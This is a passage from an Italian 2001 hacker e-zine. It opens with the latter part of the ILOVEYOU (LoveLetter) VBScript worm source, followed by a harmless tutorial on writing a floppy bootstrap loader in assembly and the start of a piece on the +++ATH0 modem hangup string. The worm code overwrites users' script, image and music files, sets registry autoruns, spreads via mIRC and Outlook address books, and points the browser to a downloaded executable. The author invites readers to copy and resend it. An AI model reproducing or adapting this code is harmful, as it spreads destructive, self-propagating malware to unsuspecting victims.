Page","http:/UgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/ | | Page","http:/WIN-BUGSFIX.exe" | | end if | | end if | | if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then | | regcreate | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W",downread | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\W&"\WIN-BUG | | "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WSFIX.exe" | | regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start | | Page","about:blank" | | end if | | end sub | | sub listadriv | | On Error Resume Next | | Dim d,dc,s | | Set dc = fso.Drives | | For Each d in dc | | If d.DriveType = 2 or d.DriveType=3 Then | | folderlist(d.path&"\") | | end if | | Next | | listadriv = s | | end sub | | sub infectfiles(folderspec) | | On Error Resume Next | | dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 | | set f = fso.GetFolder(folderspec) | | set fc = f.Files | | for each f1 in fc | | ext=fso.GetExtensionName(f1.path) | | ext=lcase(ext) | | s=lcase(f1.name) | | if (ext="vbs") or (ext="vbe") then | | set ap=fso.OpenTextFile(f1.path,2,true) | | ap.write vbscopy | | ap.close | | elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") | | or (ext="hta") then | | set ap=fso.OpenTextFile(f1.path,2,true) | | ap.write vbscopy | | ap.close | | bname=fso.GetBaseName(f1.path) | | set cop=fso.GetFile(f1.path) | | cop.copy(folderspec&"\"&bname&".vbs") | | fso.DeleteFile(f1.path) | | elseif(ext="jpg") or (ext="jpeg") then | | set ap=fso.OpenTextFile(f1.path,2,true) | | ap.write vbscopy | | ap.close | | set cop=fso.GetFile(f1.path) | | cop.copy(f1.path&".vbs") | | fso.DeleteFile(f1.path) | | elseif(ext="mp3") or (ext="mp2") then 'Hai hai hai! Gli mp3..... | | set mp3=fso.CreateTextFile(f1.path&".vbs") | | mp3.write vbscopy | | mp3.close | | set att=fso.GetFile(f1.path) | | att.attributes=att.attributes+2 | | end if | | if (eq<>folderspec) then | | if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or | | (s="script.ini") or (s="mirc.hlp") then | | set scriptini=fso.CreateTextFile(folderspec&"\script.ini") | | scriptini.WriteLine "[script]" | | scriptini.WriteLine ";mIRC Script" | | scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, | | if mIRC will" | | scriptini.WriteLine " corrupt... WINDOWS will affect and will not run | | correctly. thanks" | | scriptini.WriteLine ";" | | scriptini.WriteLine ";Khaled Mardam-Bey" | | scriptini.WriteLine ";http://www.mirc.com" | | scriptini.WriteLine ";" | | scriptini.WriteLine "n0=on 1:JOIN:#:{" | | scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" | | scriptini.WriteLine "n2= /.dcc send $nick | | "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" | | scriptini.WriteLine "n3=}" | | scriptini.close | | eq=folderspec | | end if | | end if | | next | | end sub | | sub folderlist(folderspec) | | On Error Resume Next | | dim f,f1,sf | | set f = fso.GetFolder(folderspec) | | set sf = f.SubFolders | | for each f1 in sf | | infectfiles(f1.path) | | folderlist(f1.path) | | next | | end sub | | sub regcreate(regkey,regvalue) | | Set regedit = CreateObject("WScript.Shell") | | regedit.RegWrite regkey,regvalue | | end sub | | function regget(value) | | Set regedit = CreateObject("WScript.Shell") | | regget=regedit.RegRead(value) | | end function | | function fileexist(filespec) | | On Error Resume Next | | dim msg | | if (fso.FileExists(filespec)) Then | | msg = 0 | | else | | msg = 1 | | end if | | fileexist = msg | | end function | | function folderexist(folderspec) | | On Error Resume Next | | dim msg | | if (fso.GetFolderExists(folderspec)) then | | msg = 0 | | else | | msg = 1 | | end if | | fileexist = msg | | end function | | sub spreadtoemail() 'ci auto-spediamo per posta | | On Error Resume Next | | dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad | | set regedit=CreateObject("WScript.Shell") | | set out=WScript.CreateObject("Outlook.Application") | | set mapi=out.GetNameSpace("MAPI") | | for ctrlists=1 to mapi.AddressLists.Count | | set a=mapi.AddressLists(ctrlists) | | x=1 | | regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) | | if (regv="") then | | regv=1 | | end if | | if (int(a.AddressEntries.Count)>int(regv)) then | | for ctrentries=1 to a.AddressEntries.Count | | malead=a.AddressEntries(x) | | regad="" | | regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead) | | if (regad="") then | | set male=out.CreateItem(0) | | male.Recipients.Add(malead) | | male.Subject = "ILOVEYOU" 'soggetto del messaggio | | male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." | | 'testo | | male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 'allegato | | male.Send | | regedit.RegWrite | | "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD" | | end if | | x=x+1 | | next | | regedit.RegWrite | | "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count | | else | | regedit.RegWrite | | "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count | | end if | | next | | Set out=Nothing | | Set mapi=Nothing | | end sub | | sub html | | On Error Resume Next 'un po' di HTML... | | dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 | | dta1="LOVELETTER - HTML<?-?TITLE><META | | NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ | | "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? | | @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ | | "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is | | good...@-@>"&vbcrlf& _ | | "<?-?HEAD><BODY | | ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- | | ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ | | ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT "&vbcrlf& _ | | "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#- | | ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT#,#-#main#-#)@-@ | | ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETT | | BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _ | | "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read | | this HTML file<BR>- Please press #-#YES#-# button to Enable | | ActiveX<?-?p>"&vbcrlf& _ | | "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ | | BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> | | "&vbcrlf& _ | | "<?-?BODY><?-?HTML>"&vbcrlf& _ | | "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ | | "<!--?-??-?"&vbcrlf& _ | | "if (window.screen){var wi=screen.availWidth;var | | hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ | | "?-??-?-->"&vbcrlf& _ | | "<?-?SCRIPT>"&vbcrlf& _ | | "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ | | "<!--"&vbcrlf& _ | | "on error resume next"&vbcrlf& _ | | "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ | | "aw=1"&vbcrlf& _ | | "code=" | | dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _ | | "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ | | "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ | | "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ | | "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ | | "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _ | | "wri.write code4"&vbcrlf& _ | | "wri.close"&vbcrlf& _ | | "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _ | | "if (err.number=424) then"&vbcrlf& _ | | "aw=0"&vbcrlf& _ | | "end if"&vbcrlf& _ | | "if (aw=1) then"&vbcrlf& _ | | "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ | | "window.close"&vbcrlf& _ | | "end if"&vbcrlf& _ | | "end if"&vbcrlf& _ | | "Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _ | | "regedit.RegWrite | | @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run | | @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cu^-^MSKernel32@-@,d | | @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuirsystem&@-@^-^MSK | | @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cuernel32.vbs@-@"&vb | | @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^Cucrlf& _ | | "?-??-?-->"&vbcrlf& _ | | "<?-?SCRIPT>" | | dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") | | dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") | | dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") | | dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") | | dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") | | dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") | | dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") | | dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") | | set fso=CreateObject("Scripting.FileSystemObject") | | set c=fso.OpenTextFile(WScript.ScriptFullName,1) | | lines=Split(c.ReadAll,vbcrlf) | | l1=ubound(lines) | | for n=0 to ubound(lines) | | lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) | | lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) | | lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) | | if (l1=n) then | | lines(n)=chr(34)+lines(n)+chr(34) | | else | | lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" | | end if | | next 'ci creiamo | | set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") | | b.close ' ci auto_apriamo | | set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) | | d.write dt5 | | d.write join(lines,vbcrlf) | | d.write vbcrlf | | d.write dt6 | | d.close | | end sub | | | | | | Come potete vedere creare un virus alla portata di "I love you" è un po' | | complicato e lungo. | | Se volete fare i lamer D.O.C. potete copiare il codice, modificare le parti | | riguardanti il titolo della e-mail, il messaggio, l'allegato (ovviamente | | cambiando anche il nome con cui lo salvate tramite la macro), | | e poi lo spedite a qualcuno, ma sarebbe meglio elaborarne uno proprio , | | invece di sfruttare il bel lavoro di quel poveraccio di Manila che è stato | | pure beccato! :( | | | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [C0DiNG] #04 - 19/11/2001 | | 0S FR0M ZER0 CHAPTER [Alexander The Great] 0x0F/0x23 | +-------------------------------------------------------------------------------+ | | | Introduzione. | | ------------- | | | | Salve. | | | | L'argomento di questo tutorial è: progettare e realizzare un | | nuovo sistema operativo, partendo da zero, dal nulla assoluto. | | Intendo, più precisamente, NON a partire da un kernel o da | | qualche altra cosa presa in prestito da un sistema già esistente: | | proprio dallo zero assoluto, scrivendo ogni singola riga di | | codice assembly necessario. Quindi come prima cosa vi consiglio | | di studiare un po' di assembly per processori Intel. Ci sono un | | bel po' di tutorials al riguardo su Internet, ma se vi potete | | permettere di spendere qualcosa in un buon libro, vi consiglio | | il Murray-Pappas, "l'Assembler per l'80286/80386", MCGraw-Hill. | | E un'ultima cosa: se non sapete l'inglese, lasciate perdere... | | | | Troppo difficile? Direi che non è facile, ma non è neanche | | impossibile. Bisogna innanzi tutto chiedersi da dove comincia | | un sistema operativo... la risposta è: da dove finisce il BIOS. | | Come sicuramente saprete, il BIOS è quella parte di programmi | | che risiedono in ROM e si occupano di gestire l'hardware al suo | | livello più fondamentale. Inoltre il BIOS si occupa del cosidetto | | "Power-On Self-Test", abbreviato in POST: durante il POST viene | | verificata la salute dell'unità centrale e di tutte le periferiche; | | dopodiché, a patto che tutto risulti a posto, il BIOS passa il | | controllo a un programmino che si chiama "bootstrap loader". | | Ecco: lì finisce il BIOS e comincia il sistema operativo; | | volendo scrivere un SO nuovo di zecca, bisogna quindi iniziare | | dal codice del "bootstrap loader". | | | | | | | | Il bootblock. | | ------------- | | | | Su tutti i dischi di sistema (quale che sia il sistema) esiste | | un'area chiamata "bootblock" (blocco d'avviamento), rappresentata | | dal primo settore fisico del disco. Se prendiamo un floppino ed i | | suoi soliti 1440 Kb, e ne analizziamo la struttura, il risultato | | è il seguente: | | | | - 80 tracce (tracks) circolari, la prima delle quali è la | | più vicina al centro del disco, e l'ultima la più esterna; | | - 2 testine (heads), dette anche "superfici", poiché indica | | quante superfici del supporto magnetico sono utilizzabili; | | - 18 settori per traccia (sectors per track), ovvero in | | quanti settori circolari è divisa ogni traccia; | | - 512 bytes per settore (bytes per sector), la capacità di | | memoria di un singolo settore. | | | | Se infatti si fa il prodotto di tutti i valori (80x2x18x512), | | si ottiene il numero totale di bytes che un floppy da 1440Kb può | | contenere, per l'appunto 1.474.560 bytes, cioè 1440Kb, o 1.4 Mb. | | Detto questo, passo a introdurre un'altra entità: il "cilindro", | | in inglese chiamato "cylinder". Il cilindro è l'ammontare di dati | | immagazzinati in tutte le superfici di tutti i settori di una | | sola traccia. | | Quindi la quantità di dati immagazzinata in un cilindro si può | | calcolare moltiplicando i bytes per settore per il numero di | | settori per traccia, per il numero di superfici (o testine). | | Nel caso di un floppy, questo calcolo è 512x2x18 = 18 Kb. | | | | Chiusa la piccola digressione, torniamo al bootblock. | | Il bootblock è un singolo settore del disco, quindi su un floppy | | del genere (ma attualmente su qualsiasi dispositivo magnetico), | | il bootblock è lungo 512 bytes. | | Come primo settore, è identificato come settore numero 1 della | | superficie numero zero della traccia numero zero. Questo modo di | | identificare i settori su un disco è chiamato "coordinate CHS", | | in quanto fornisce, nell'ordine, i tre valori che identificano: | | (C)ylinder, (H)ead, (S)ector, in genere separati da duepunti. | | Quindi le coordinate CHS del bootblock sono 0:0:1. | | Attenzione a non confondersi: i settori sono sempre numerati | | a partire da 1, mentre gli altri due valori partono da zero. Non | | saprei dire perché, però le cose stanno così, che volete farci? | | Il bootblock è un settore molto particolare, non tanto perché | | è il primo settore fisico del supporto, quanto perché il BIOS si | | aspetta di trovarci dentro il nostro bootstrap loader. Quando si | | accende il PC con un floppy nel drive che DOS e Windows chiamano | | "A" (e che il BIOS definisce in un altro modo), il BIOS prova ad | | accedere al primo settore del dischetto e, se lo trova, ne carica | | i contenuti a partire da una locazione di memoria fissa: per la | | precisione si tratta della locazione 0000:7C00h. Dopodiché, il | | BIOS salta direttamente a quella locazione, da dove il nostro | | SO può finalmente prendere il controllo del computer. | | Spero che a questo punto sia chiaro che nel bootblock non c'è | | nient'altro che un programmino fatto di puro codice, senza nessun | | "header", nessun "marchiatore" particolare. Soltanto 512 bytes di | | puro codice macchina, che il BIOS eseguirà incondizionatamente. | | | | | | | | Come iniziare un bootstrap loader. | | ---------------------------------- | | | | Bene, quei 512 bytes contenuti nel bootblock formano quel | | minuscolo programma assembly chiamato "bootstrap loader". Esso | | si occupa di caricare in memoria il sistema operativo, a cui di | | solito trasferisce il controllo prima possibile. Ora, per prima | | cosa, vediamo come sviluppare un bootstrap loader senza far | | crashare niente. | | | | Prima istruzione: | | CLI | | | | attenzione alle interrupts. | | Le interrupts sono brevi programmi eseguiti per gestire | | periferiche ed eventi. Esse interrompono temporaneamente | | l'esecuzione del programma corrente, e di solito non sono | | pericolose per l'integrità del sistema. MA QUANDO IL BIOS | | trasferisce il controllo al bootstrap loader, non si cura | | di mettere a posto un'area di STACK. Dato che l'area di | | stack è quella parte di memoria usata per memorizzare dati | | temporanei (come gli indirizzi di ritorno dei programmini | | che gestiscono le interrupts), se un'interrupt venisse | | eseguita mentre lo stack non è ancora al suo posto, il | | risultato sarebbe un immediato crash. | | L'istruzione CLI fa sì che le interrupts vengano sospese | | fino a nuovo ordine. In questo caso "fino a nuovo ordine" | | significa "finché non viene incontrata un'istruzione STI". | | | | Dopodiché, si può proseguire così: | | XOR DX, DX | | MOV SS, DX | | MOV SP, 7C00h | | | | Le istruzioni che seguono CLI sistemano lo stack, facendolo | | puntare all'offset 7C00h del segmento zero. In particolare, | | "XOR DX, DX" è un modo più compatto di scrivere "MOV DX, 0". | | Quindi in SS (Stack Segment) viene passato il valore zero, | | ed in SP (Stack Pointer) viene passato il valore 7C00h. | | Perché? Bè, per capirlo bisogna osservare questa piccola | | mappa di memoria, che mostra la memoria al momento del boot; | | gli indirizzi si riferiscono alla modalità reale (seg:off), | | dove seg = segmento, off = offset, 16 bytes per segmento. | | | | INDIRIZZO (hex) LUNGHEZZA DESCRIZIONE | | 0000:0000 1024 bytes Tabella interrupts | | 0040:0000 256 bytes BIOS Data Area (BDA) | | 0050:0000 30464 bytes (vuota) | | 07C0:0000 512 bytes Bootstrap loader | | 07E0:0000 fino a 9FC0:0000h (vuota) | | 9FC0:0000 1024 bytes "Vecchio ultimo Kb" | | A000:0000 64 Kb Prima pagina grafica | | B000:0000 32 Kb Testo monocromatico | | B800:0000 32 Kb Testo a colori | | C000:0000 fino a 32Kb ROM della scheda video | | C800:0000 fino a 32Kb ROM del controller HD | | D000:0000 fino a 256Kb Upper Memory Blocks | | F000:0000 64 Kb BIOS di sistema (ROM) | | FFF0:0000 16 bytes Warm Boot Handler | | FFFF:0000 65520 bytes High Memory Area | | | | Come si vede, in corrispondenza dell'indirizzo 07C0:0000, | | che si può anche scrivere come 0000:7C00 (e se non capite | | perché vi consiglio un buon libro di assembly per Intel), | | è stato caricato il nostro bootstrap loader. Discendendo | | lungo la memoria si può spaziare per la bellezza di 30464 | | bytes, prima di incontrare le aree di vitale importanza per | | il BIOS (cioè la BDA e la IVT, Interrupt Vectors Table). | | Orbene, dato che lo stack è un'area di memoria "espand-down", | | ovvero che viene espansa per decrementi del puntatore allo | | stack (SP), questi 30464 bytes vengono riservati allo stack | | iniziale. Il che, potete scommetterci, basta e avanza per | | la tranquilla esecuzione delle interrupts. | | Ora, magari qualcuno è curioso di sapere a cosa servono | | tutte le altre aree di memoria, ma ci arriverò più avanti... | | intanto, proseguiamo nella costruzione del bootstrap loader. | | | | Ora possiamo ripristinare le interrupts: | | JMP $+2 | | STI | | | | Uhmmm... come mai ho messo "JMP $+2"? | | Significa: salta alla locazione posta due bytes pià avanti | | di quella eseguita in questo momento. La locazione eseguita | | in quel momento è quella che contiene "JMP", e due bytes più | | avanti (vedi codice macchina di JMP) si trova l'istruzione | | STI, quindi l'istruzione "JMP $+2" non fa altro che "saltarsi | | da sola". Ma perché l'ho messa? Perché i cambiamenti di stack | | possono essere, a volte, un po' "traumatici" per il computer. | | Alcuni processori Intel e compatibili, di per sé, effettuano | | un ciclo di arresto quando viene cambiato SP. Altri no. | | Il fatto è che se un'interrupt venisse eseguita PROPRIO | | subito dopo che il processore incontra "STI", ci sarebbe una | | vaga, *ma non nulla*, possibilità che lo stack punti ancora | | alla precedente locazione. Il motivo tecnico, dal punto di | | vista del microprocessore, non ve lo so spiegare, ma vi basti | | sapere che questo tipo di comportamento è stato osservato. | | D'altra parte, non costa (quasi) nulla mettere un salto | | "a vuoto" prima di STI, e quindi è consigliabile farlo, se | | si vuole che non ci siano mai problemi durante il boot. | | Un'altra cosa che non ho spiegato è perché ho usato proprio | | il registro DX per caricare il segmento SS, e inoltre a quale | | pericolosa locazione puntasse lo stack all'inizio. Allora... | | Il layout (configurazione) dei registri nel momento in cui | | il BIOS trasferisce il controllo al bootstrap loader, è questo: | | | | AX = POST status flags (flags di stato dopo il POST); | | BX = CX = DX = indefiniti, ma in genere posti a zero; | | SI = DI = BP = SP = tutti a zero; | | IP = 7C00h oppure zero (dipende dal BIOS). | | | | Mentre i registri di segmento appaiono così: | | | | CS = zero oppure 7C0h (dipende dal BIOS); | | DS = ES = FS = GS = SS = zero. | | | | Se si deve azzerare un registro, la scelta più logica per | | evitare di alterare qualche valore che potrebbe fornire delle | | informazioni importanti, è proprio il registro DX. Ora, molti | | SO semplicemente se ne infischiano dei flags di stato del POST | | ed usano AX, ma è difficile dargli torto: in effetti, se il | | boot è avvenuto, significa che eventuali fallimenti del POST | | non sono stati critici. In genere, è possibile ignorare il | | contenuto del registro AX. Solo che anche qui, non costa nulla | | usare DX e lasciare AX intatto, almeno in questa prima sezione | | del bootstrap loader. Quindi perché no? | | | | Ricapitolando... | | CLI | | XOR DX, DX | | MOV SS, DX | | MOV SP, 7C00h | | JMP $+2 | | STI | | | | Queste istruzioni introduttive dovrebbero essere considerate | | "fisse", al di là di quel che poi il bootstrap loader farà per | | caricare il kernel del sistema operativo. Queste istruzioni | | hanno il solo scopo di "stabilizzare" l'ambiente di esecuzione. | | | | | | | | Il resto del bootstrap. | | ----------------------- | | | | Ovvero come caricare il kernel; questo almeno in teoria. | | Siccome le spiegazioni necessarie sono piuttosto lunghe, per | | il momento mi fermo qui, fornendo come esempio di "bootstrap | | loader funzionante" un minuscolo bootstrap loader, il quale si | | limita a scrivere un classico "Hello, world!" sullo schermo e | | poi attende un tasto. Alla pressione di un tasto, riavvia. | | Comunque, è già importante notare che tutte le interrupts | | utilizzate sono gestite dal BIOS. Non cercate, se le conoscete, | | interrupts come la 21h (servizi DOS). Il DOS non c'è, così come | | non c'è nessun altro sistema operativo in esecuzione: qui siete | | del tutto soli, a quattr'occhi con il BIOS. State a vedere... | | | | ------8<------------8<------------8<------------8<------------8<------ | | .MODEL TINY ; (ASM) modello di memoria | | .CODE ; (ASM) inizio del programma | | CLI ; istruzioni preparatorie | | XOR DX, DX ; . | | MOV SS, DX ; . | | MOV SP, 7C00h ; . | | JMP $+2 ; . | | STI ; . | | MOV DX, 07C0h ; DX = 7C0h | | MOV DS, DX ; DS = DX | | CMP BYTE PTR SS:[449h], 3 ; 0:449h = modalità video | | JNE SiamoGiaInModoTesto ; (se 0:449h contiene 3) | | MOV AX, 0003h ; AH = 0 (set mode), AL = 3 | | INT 10h ; (servizi video del BIOS) | | SiamoGiaInModoTesto: | | LEA BP, MESSAGGIO ; BP = puntatore alla stringa | | MOV AX, 1301h ; AX = funzione "textout" | | MOV BX, 000Ah ; BH = pagina(0), BL = colori | | MOV CX, LUNGHEZZA_STRINGA ; CX = lunghezza stringa | | MOV DX, 0000h ; DH = riga(0), DL = colonna(0) | | PUSH DS ; ES = DS, perché il BIOS vuole | | POP ES ; che ES:BP punti alla stringa | | INT 10h ; (servizi video del BIOS) | | EdOraAspettaUnTasto: | | XOR AX, AX ; AX = funzione "get keystroke" | | INT 16h ; (servizi tastiera del BIOS) | | InfineRiavvia: | | INT 19h ; (BIOS bootstrap) | | MESSAGGIO: | | db 'Hello World!' ; la stringa da scrivere... | | LUNGHEZZA_STRINGA EQU $-MESSAGGIO ; (ne calcola la lunghezza) | | END ; (fine listato) | | ------8<------------8<------------8<------------8<------------8<------ | | | | Ora, per comprendere tecnicamente come funziona questo listato, | | dovreste imparare a consultare, oltre a un manuale di assembly, | | una preziosissima fonte d'informazioni sul funzionamento del BIOS e | | delle periferiche. Si tratta della "Ralf Brown's Interrupts List", | | ufficialmente scaricabile dal seguente sito: | | | | http://www.pobox.com/~ralf/files.html | | | | Se cercate, in quei 7 megabytes e passa di documentazione, | | le funzioni usate nell'esempio, troverete ogni dettaglio a esse | | relativo (per esempio, perché il messaggio lo scrive in VERDE). | | Inoltre potete consultare il file MEMORY.LST incluso nel | | suddetto archivio, per capire meglio a cosa serva quel controllo | | sulla locazione 0000:0449h (oppure 0040:0049h). | | I files di Ralf Brown sono di vitale importanza se volete | | andare avanti in questo progetto, quindi procurateveli subito, | | esplorateli a fondo e teneteli sempre a portata di mano. | | | | | | | | E ora come faccio a metterlo nel bootblock? | | ------------------------------------------- | | | | Per quanto mi riguarda, come assemblatore uso il "Borland TASM", | | "Borland Turbo Assembler 3.1", con accluso il suo "Turbo Linker", | | in ambiente MS-DOS. Nel caso possiate procurarvelo, la sintassi è: | | | | TASM LISTATO.ASM | | TLINK LISTATO.OBJ | | | | Bene: abbiamo il listato, lo abbiamo assemblato, lo abbiamo linkato, | | e quindi abbiamo ottenuto un file con estensione .EXE che rappresenta | | il nostro primo bootstrap loader. E ora come ce lo mettiamo nel floppy? | | Sicuramente, NON come un semplice file. Scordatevelo pure: il floppy | | non deve avere un sistema operativo "altrui": deve essere un floppy del | | tutto vuoto, ma comunque formattato. Formattato, precisiamolo, per un | | qualsiasi sistema operativo. Un floppy formattato da Linux va benissimo | | quanto un floppy formattato da DOS o Windows... | | Insomma, un floppy formattato ma del cui "file system" non ce ne | | frega assolutamente niente, visto che non useremo il file system per | | trasferirvi il bootstrap loader: useremo un'utility di scrittura "RAW" | | del dischetto. "RAW" significa "cruda", "non assistita", "diretta". | | Uhm... io ho scritto un programma del genere, che si chiama STREAM, | | ma purtroppo esiste solo per MS-DOS / Windows. Quindi procuratevi uno | | di questi due SO per cominciare... se poi qualcuno conosce un programma | | del proprio SO che sia equivalente a STREAM (anche nella flessibilità, | | badate bene che non basta un programma o un comando che prende la | | cosidetta "immagine binaria" di un intero dischetto e la memorizza sul | | floppy, perché STREAM può eseguire delle scritture mirate e precise). | | | | Bè, comunque, per prima cosa assicuriamoci che il file .EXE venga | | "ripulito" del proprio "header" (il blocco d'intestazione che il DOS | | utilizza per caricare il programma in memoria). Questo perché il nostro | | particolare file NON VERRA' eseguito sotto DOS (crasherebbe tutto), ma | | bensì direttamente dal BIOS che, come detto, non necessita di "headers" | | o marchiatori particolari. | | Per tagliare l'header dal file .EXE, diciamo che lo abbiamo chiamato | | "LISTATO.EXE", c'è un'altro tool chiamato CHOPHEAD ("mozza la testa"). | | CHOPHEAD, nel caso di un header di 512 bytes come quello dei file .EXE, | | si usa così: | | | | CHOPHEAD LISTATO.EXE 512 | | | | Dopodiché potrete notare che la dimensione del file si è ridotta di | | 512 bytes, perché i primi 512 bytes del file sono stati tagliati via, | | lasciano il resto. I bytes rimanenti sono PURO CODICE MACCHINA, proprio | | quello che ci serve per inserirlo nel bootblock. | | Ricordatevi, a questo punto, che quel che rimane del file non può, | | in nessun caso, superare 512 bytes, se deve essere un bootstrap loader. | | Il BIOS carica sempre un solo settore dal bootblock, e niente di più: | | il resto del nostro sistema lo caricherà proprio il bootstrap loader. | | Per quanto riguarda il nostro esempio, è lungo 67 bytes. | | | | Ora inseriamo il floppy nel drive A ed usiamo STREAM per memorizzare | | il bootstrap loader sul primo settore fisico del disco, a coordinate | | CHS 0:0:1. Queste coordinate, però, STREAM le interpreta nel formato | | T:S:H, Track-Sector-Head; ma tradurle non è niente di complicato, | | perché T (numero traccia) equivale a C (numero cilindro), e gli altri | | due valori semplicemente si scambiano, ottenendo le coordinate 0:1:0. | | Ricordandosi inoltre di sostituire i duepunti con spazi vuoti, abbiamo: | | | | STREAM LISTATO.EXE 0 1 0 | | | | Se tutto va bene, STREAM risponderà come segue: | | | | ! Beginning | | ? Warning: disk changed since last operation | | - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going) | | ! Complete | | ? Warning: last sector incomplete [file size not multiple of 512] | | total sectors written: 1 | | total bytes used: 512 | | last access: 1 sectors | | first sector used: 00:01:00 | | next free sector: 00:02:00 | | | | E una volta che l'operazione è andata a buon fine? | | (Non curatevi dei "warnings" di STREAM, è regolare che ci siano...) | | Dicevo, una volta fatto questo? Bè, per vedere il bootstrap loader in | | azione non rimane che riavviare il computer... non che ci sia molto da | | vedere: appunto, la scritta "Hello world!", verde, in alto a sinistra. | | Se a quel punto volete riavviare con il SO che avete sull'hard disk, | | semplicemente togliete il floppy dal drive e premete un tasto. | | | | E' tutto, per ora. Spero che l'argomento vi risulti interessante. | | Nel prossimo capitolo vedremo come caricare un esempio di kernel. | | | | Alexander The Great | | alex.tg@tiscalinet.it | | http://members.designheaven.com/~44 | | | | | +-------------------------------------------------------------------------------+ +-------------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #04 - 19/11/2001 | | +++ATH0 [_snake] 0x10/0x23 | +-------------------------------------------------------------------------------+ | | | +++ATH0 | | Intanto cosa è il +++ATH0 ? | | E' una stringa, un comando che viene eseguito dai modem. | | Cosa esegue il modem con questa stringa? | | Analizziamo intanto il tutto: | | +++ fa si che il modem passi in modalità "Escape", ossia in esecuzione | | comandi standard. | | AT sono due lettere che precedono sempre il comando vero e proprio che in | | questo caso è H0 | | H0 è il corpo del comando, quello che il modem deve eseguire, che in questo | | caso è: "Hangup", detto più semplicemente il modem stacca la telefonata. | | Quindi quando un modem esegue questa stringa compie le seguenti operazioni: | | +++ = Il modem passa in modalità "Escape" (esecuzione comandi) ' ATH0 = | | Esecuzione di HANGUP. | | A questo punto il modem ha staccato la telefonata con il POP e 